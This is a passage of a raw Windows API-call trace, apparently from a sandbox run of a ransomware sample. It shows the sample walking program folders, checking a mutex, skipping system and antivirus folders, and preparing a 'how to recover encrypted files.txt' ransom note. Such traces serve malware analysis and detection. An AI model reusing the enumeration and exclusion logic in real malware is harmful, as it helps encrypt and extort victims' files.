ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0059.017] GetLastError () returned 0x2 [0059.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0059.018] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.018] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.018] GlobalUnlock (hMem=0x44000c) returned 0 [0059.018] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.018] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.018] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.018] GlobalUnlock (hMem=0x44000c) returned 0 [0059.018] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.018] GlobalUnlock (hMem=0x440004) returned 0 [0059.018] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.018] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.018] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.018] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0059.018] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.018] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.018] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.018] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.018] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.018] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.018] GlobalUnlock (hMem=0x440004) returned 0 [0059.018] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.018] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.018] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.019] GlobalUnlock (hMem=0x440004) returned 0 [0059.019] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.019] GlobalUnlock (hMem=0x44000c) returned 0 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.019] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0059.019] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.019] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.019] GlobalUnlock (hMem=0x44000c) returned 0 [0059.020] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.020] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.020] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.020] GlobalUnlock (hMem=0x44000c) returned 0 [0059.020] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.020] GlobalUnlock (hMem=0x440004) returned 0 [0059.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0059.020] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.020] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0059.020] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a8b3e0, ftCreationTime.dwHighDateTime=0x1d54153, ftLastAccessTime.dwLowDateTime=0x6cff8640, ftLastAccessTime.dwHighDateTime=0x1d5407e, ftLastWriteTime.dwLowDateTime=0x6cff8640, ftLastWriteTime.dwHighDateTime=0x1d5407e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0059.020] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0059.020] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.020] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.020] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.020] GlobalUnlock (hMem=0x440004) returned 0 [0059.020] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.020] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.020] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.020] GlobalUnlock (hMem=0x440004) returned 0 [0059.020] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.020] GlobalUnlock (hMem=0x44000c) returned 0 [0059.020] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.021] CharLowerBuffW (in: lpsz="winscp.exe", cchLength=0xa | out: lpsz="winscp.exe") returned 0xa [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wô\x18", lpUsedDefaultChar=0x0) returned 1 [0059.021] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0059.021] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0059.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeices\\winscp.exe", lpUsedDefaultChar=0x0) returned 4 [0059.021] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0059.021] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.021] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.021] GlobalUnlock (hMem=0x44000c) returned 0 [0059.021] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.021] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.021] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.021] GlobalUnlock (hMem=0x44000c) returned 0 [0059.021] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.021] GlobalUnlock (hMem=0x440004) returned 0 [0059.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0059.022] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0059.022] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.022] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.022] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.022] GlobalUnlock (hMem=0x440004) returned 0 [0059.022] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.022] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.022] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.022] GlobalUnlock (hMem=0x440004) returned 0 [0059.022] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.022] GlobalUnlock (hMem=0x44000c) returned 0 [0059.022] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.022] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.022] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.022] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.022] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.022] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.022] GlobalUnlock (hMem=0x44000c) returned 0 [0059.023] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.023] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.023] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.023] GlobalUnlock (hMem=0x44000c) returned 0 [0059.023] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.023] GlobalUnlock (hMem=0x440004) returned 0 [0059.023] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.023] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0059.023] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.023] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.023] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.023] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.023] GlobalUnlock (hMem=0x440004) returned 0 [0059.023] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.023] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.023] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.023] GlobalUnlock (hMem=0x440004) returned 0 [0059.023] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.023] GlobalUnlock (hMem=0x44000c) returned 0 [0059.023] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.023] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.023] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.023] GlobalUnlock (hMem=0x44000c) returned 0 [0059.023] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.023] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.023] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.023] GlobalUnlock (hMem=0x44000c) returned 0 [0059.023] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.024] GlobalUnlock (hMem=0x440004) returned 0 [0059.024] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.024] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", len=0x35 | out: pbstr=0x18f444*="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned 1 [0059.024] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.024] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.024] GlobalUnlock (hMem=0x440004) returned 0 [0059.024] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.024] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.024] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.024] GlobalUnlock (hMem=0x440004) returned 0 [0059.024] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.024] GlobalUnlock (hMem=0x44000c) returned 0 [0059.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.024] GetLastError () returned 0x3 [0059.024] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 21 [0059.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18䄌Q\x181")) returned 0xffffffff [0059.025] GetLastError () returned 0x2 [0059.025] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 9 [0059.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0059.026] GetLastError () returned 0x2 [0059.026] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵$&\x18\x02") returned 8 [0059.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@禔T企@\x18䙌R\x18D")) returned 0xffffffff [0059.027] GetLastError () returned 